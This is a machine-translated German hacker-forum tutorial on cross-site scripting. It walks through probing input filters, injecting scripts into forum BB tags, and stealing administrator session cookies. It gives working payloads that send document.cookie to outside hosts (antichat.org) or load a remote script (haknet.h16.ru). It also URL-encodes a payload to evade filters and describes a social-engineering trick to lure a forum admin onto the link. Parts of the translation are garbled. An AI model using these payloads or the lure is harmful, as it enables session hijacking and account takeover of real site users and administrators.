This page has been robot translated, sorry for typos if any. Original content here.

Beschreibung Xss von A bis Z.



  • Xss ist Css => Cross Site Scripting
  • Wie benutzt man XSS?
  • Was ist ein XSS-Angriff?
  • Was ist passives und aktives XSS?
  • Lassen Sie mich nun speziell darauf eingehen, wie Sie XSS auf dieser Site finden.
  • Und wie kann man feststellen, ob es einen Filter gibt oder nicht?
  • Active XSS
  • Wir haben die ganze Zeit Typcodes gemacht.
  • Wie ersetze ich ihn durch den Link mit Xss?


  • Xss ist Css => Cross Site Scripting

    Nicht zu verwechseln mit CSS, auch XSS genannt
    Zum ersten Mal erschien diese BAG 1997.



    Wie benutzt man XSS?


    Zuerst müssen wir wissen, was ein Cookie ist.
    Wenn Sie es wissen, können Sie es überspringen.

    Cookies werden verwendet, um Anmeldeinformationen auf dem Computer eines Besuchers zu speichern.
    Wenn Sie sich auf der Site unter dem Namen "blabluble" registriert haben, hat die Site eine Cookie-Datei auf Ihrem Computer gespeichert, in der Ihre Daten verschlüsselt sind.
    Wenn Sie einen Administrator haben und Zugriff auf die Site haben und ich der Benutzer bin, der Ihnen Cookies gestohlen hat (Administrator), kann ich sicher auf die Site zugreifen und die Site definiert mich als "Administrator". Ich habe Administratorrechte.

    Zum Ändern (Ersetzen von gestohlenen) Cookies empfehle ich Ihnen, das CookieEdit-Programm für den Internet Explorer oder die in Opera und Firefox integrierten Funktionen zu verwenden.

    Um Cookies abzufangen, müssen Sie auf der Site einen Ort finden, an dem Sie einen XSS-Angriff ausführen können.


    Was ist ein XSS-Angriff?


    XSS-Angriffe sind keine Angriffe auf die Site selbst, sondern auf Benutzer der Site.
    XSS ist ein Fehler in der Filteranwendung.

    Es gibt passives XSS und aktives XSS.

    Was ist passives und aktives XSS?


    Passive sind Xss, die eine direkte Teilnahme des Opfers erfordern + es gibt spezifische Einschränkungen und Schwierigkeiten.
    Daher wird passives XSS nicht sehr geschätzt.
    Zum Beispiel müssen Sie sie zwingen, einer giftigen Verbindung zu folgen, was Social Engineering und List erfordert.

    Aktiv - dies ist XSS, für das keine zusätzlichen Aktionen seitens des Opfers erforderlich sind. Sie muss lediglich die Seite mit Ihrem XSS öffnen, und der Java-Code wird automatisch ausgeführt.
    Aufgrund ihrer Automatisierung sind sie sehr nützlich und wertvoll.
    Beispielsweise ist in BB-Tags aktives HSS vorhanden, da die Filterung nicht ausreicht, wenn Sie eine Nachricht im Forum \ Gästebuch \ Chat hinterlassen, die bei jedem Update immer aktiv ist.




    Lassen Sie mich nun speziell darauf eingehen, wie Sie XSS auf dieser Site finden.


    Wie ich bereits schrieb, besteht XSS aus Tags, sie bestehen auch aus HTML und Javascript.

    Javascript kann in HTML eingegeben werden.
    Sie können codieren, um Filter zu umgehen. Aber dazu später mehr.

    Wie erfahre ich, dass XSS auf dieser Website erfolgreich ist?
    Der uzrazhimost Typ
    <script> alert () </ script> Wir versuchen, dieses Skript in alle verschiedenen Felder einzufügen ... Wenn die Nachricht herauskam, wurde das Skript verarbeitet und ausgeführt.

    Das häufigste XSS (beobachtet an allen Orten, an denen schlecht gefiltert wird):

    "> <script> alert () </ script>

    Der springende Punkt ist "> .

    Überlegen wir, was wir tun, wenn wir im Feld "> <script> alert () </ script>" eingeben. Was passiert dann?

    Wir geben in die Form "> <script> alert () </ script> eine Variable wird ein Feldwert zugewiesen. Die Variable wird verarbeitet, "> ausgeführt, geschlossen

    Skript und führt <script> alert () </ script> aus

    Diese XSS ist die häufigste Suchmaschine:

    Wir durchsuchen alle Felder der Site und versuchen, "> <script> alert () </ script> einzufügen
    Wenn die Nachricht herauskam, haben Sie das XSS gefunden ...




    Und wie kann man feststellen, ob es einen Filter gibt oder nicht?


    Geben Sie einfach in ein beliebiges Feld ein: '';! - "<########> = & & (()}
    Öffnen Sie als nächstes die HTML-Seite und suchen Sie nach dem Wort "########"
    und sehen die folgenden syvoly ..

    Wenn <> erhalten bleibt, ist dies das erste Anzeichen für eine Sicherheitslücke - dann hat der Filter eine Lücke.
    Wenn die eingegebenen Zeichen unverändert bleiben - dies ist das zweite Anzeichen für eine Sicherheitsanfälligkeit -, können zusätzliche Zeichen für den nachfolgenden XSS-Angriff verwendet werden.
    Wenn Sie dann den HTML-Code öffnen, haben Sie <> höchstwahrscheinlich keine Lücke im Filter gefunden.
    Wenn Sie den HTML-Code öffnen und feststellen, dass <> durch andere Zeichen ersetzt wurde, ist dies ein Schandfleck bei
    am wenigsten normal funktionieren.
    Es ist auch möglich, in das Feld Folgendes einzugeben, um die Filterung zu überprüfen: "> <> '" `, / \? @%

    Betrachten Sie den Fall, wenn der Filter <> auffrisst

    In diesem Fall besteht die Wahrscheinlichkeit eines Lochs.
    Zum Beispiel hat der Filter eine Bedingung, um <script>, <> und zu essen.
    Dann probieren Sie das Script <zxcvb: alert ();

    Der Filter prüft, ob in <IMG% 20SRC = "java script: alert () nichts gefährlich ist ; nein, er schließt und somit
    Ausführen des Skripts.

    Wenn der Filter verschiedene Codierungen nicht filtert, können Sie natürlich versuchen, das Skript zu codieren und den Code einzufügen.

    Alles sollte durch Ausprobieren versucht werden, um zu suchen ...
    Versuchen Sie, die Felder auszufüllen, und überprüfen Sie sorgfältig, was wir aus dem Filter erhalten haben.
    Verstehen Sie anhand der Tykov-Methode, wie der Filter funktioniert und ob er Fehler aufweist.
    Wenn der Filter schlecht ist, können wir immer Skripte einfügen.




    Active XSS


    Hier ist es notwendig, die erlaubten Tags zu verwenden und mit ihnen bedeckt zu sein, müssen Sie die Abfrage ausführen.

    Zum Beispiel Tags url, bb, img.
    Der springende Punkt beim Einfügen ist, dass wir die Abfrage in das Parser-IMG oder die URL einbetten müssen. Img hat viele Parameter außer src und alt.
    Dieser Bug wird sehr oft im Forum verwendet, in Gästebüchern ...

    Betrachten Sie aktives XSS.

    Warnungen !!!

    Tags [fon * t], [im * g], [ur * l] schreiben mit *, damit sie nicht mit dem Site-Code verschmelzen.
    Um diese Tags zu verwenden, löschen Sie * .

    Lassen Sie uns zum Beispiel das Forum auf das Vorhandensein von Tags [fon * t], [im * g], [ur * l] überprüfen und versuchen, ein Skript in sie einzufügen oder sie zu kombinieren:

    [im * g] http: //www.qwewqw.ru/1.jpg [/ im * g] Ein Kreuz erscheint ... es bedeutet, dass img verwendet wird und wir es aufgegriffen haben (nur die Tatsache, dass img eingeschaltet ist und Admins von Wenn Sie eine Nachricht erstellen, die entfernt wurde, können Sie keine Bilder einfügen und sie kann verwendet werden
    verschiedene Formen) Wenn es kein Kreuz gibt ... und die ganze Inschrift hängt, dann versuche es noch einmal so:
    [im * g src = https://www.qwewqw.ru/1.jpg]

    Nun, zum Beispiel haben wir ein Kreuz damit erreicht:
    [im * g] https://www.qweqw.ru/1.jpg [/ im * g]

    Überprüfen Sie, ob der Filter ein Leerzeichen enthält, und fügen Sie nach dem Erweitern von jpg ein Leerzeichen hinzu:
    [im * g] https://www.qweqw.ru/1.jpg [/ im * g]
    Wenn es ein Kreuz gibt, ist alles in Ordnung.

    Als nächstes hat img dynsrc und lowsrc Parameter, die Javascript enthalten. Versuchen zum Beispiel einzufügen:
    [im * g] http://www.qwewqw.ru/1.jpg dynsrc = Java-Skript: alert () [/ im * g]
    check, send - es erscheint eine Meldung - Sie haben das aktive XSS gefunden und können anstelle von alert () ein beliebiges Skript einfügen.

    Wenn der Filter nicht aufgibt, versuchen Sie Folgendes:
    [im * g] http://www.qweqw.ru/ "/ dynsrc =" Java-Skript: alert () "/ 1.jpg [/ im * g]
    und
    [im * g] http://www.qwewqw.ru/ "/ dynsrc = java script: alert () / 1.jpg [/ im * g]

    Wenn aus den obigen Beispielen ein Kreuz hervorgegangen ist, wird https://www.qweqw.ru/1.jpg durch die Adresse des Schnüfflers ersetzt.

    Es gibt Fälle, in denen jpg vom Administrator deaktiviert wird.




    Wir haben die ganze Zeit Typcodes gemacht:


    <script>alert('HakNet')</script>
    java script:alert('HakNet')
    java script:alert('HakNet')/1.jpg и так далие..
    Aber sie haben keinen Nutzen gebracht, sie sind nur Codes zum Testen (Testen) auf Xss.

    Hier ist das Skript:
    <script>
    img = new Image();
    img.src = "http://antichat.org/s/HakNet.gif?"+document.cookie;
    </script>
    Er stiehlt schon Kekse =)




    Wie ersetze ich ihn durch den Link mit Xss?


    Ja, sehr einfach ...
    Es gibt verschiedene Möglichkeiten:

    - 1) mach es so:
    http://*****.ru/free?p='><script>img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;"+document.cookie;</script> wo die **** site mit Xss.

    Hier ist das Skript selbst:
    '><script>img = new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;</script>
    - 2) Sie können dies trotzdem tun:
    http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script> wobei auf http: //haknet verwiesen wird .h16.ru / script / js.js

    und in js.js gibt es:
    img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie; Diese Methode ist zuverlässiger.

    Aber wie ich bereits schrieb - manchmal gibt es Probleme mit Filtern auf der Website (es rollt nicht unser Skript).
    Dann müssen Sie darüber nachdenken, wie Sie es umgehen können.
    Sie können im Skript einfach etwas hinzufügen, ändern oder löschen.
    Es gibt jedoch eine zuverlässigere Option, wenn wir das Skript einfach codieren. Dafür gibt es viel Prog.
    Es gibt eine Site wie http://ha.ckers.org/xss.html (Encoder-Decoder).

    Hier ist ein Beispiel:
    %68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
    Es wurde codiert:

    http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script>
    - 3) Insbesondere die Verschlüsselung ist nicht nur erforderlich, um Filter zu täuschen, sondern auch, um ADMIN bei Verwendung von PASSIVE CSU zu täuschen.

    Hier ist ein Beispiel basierend auf Social Engineering.
    Wir suchen Kontakt mit dem Administrator des Forums im Forum, um ihm einen Link zu Ihrer Site zuzuweisen, und sagen, dass diese "coole Funktion auf der Site ist" und dies soweit im selben Sinne.
    Und auf unserer Seite haben Sie es erraten =) hier ist das Skript:

    <script language="JavaScript">
    document.location.href="%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E"
    </script>

    Was fragt ihr mich bei document.location.href? )) .. Dies ist ein Java-Code, der ohne Aufforderung zur angegebenen Site geht. Warum tun wir das also, haben uns einen Link zum Administrator gegeben, und er ist zu unserer Site gegangen

    %68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E und dies ist unser Xss in verschlüsselter Form.

    Hinweis: Dies funktioniert nur, wenn Xss dem Administrator der Site gehört, zu der Sie den Link gelöscht haben ...
    Mit anderen Worten, die VERPFLICHTUNG von PASSIVE CSU besteht darin, dass die Sicherheitsanfälligkeit NUR dann ausgenutzt werden kann, wenn das Opfer auf der anfälligen Site AUTORISIERT ist !!!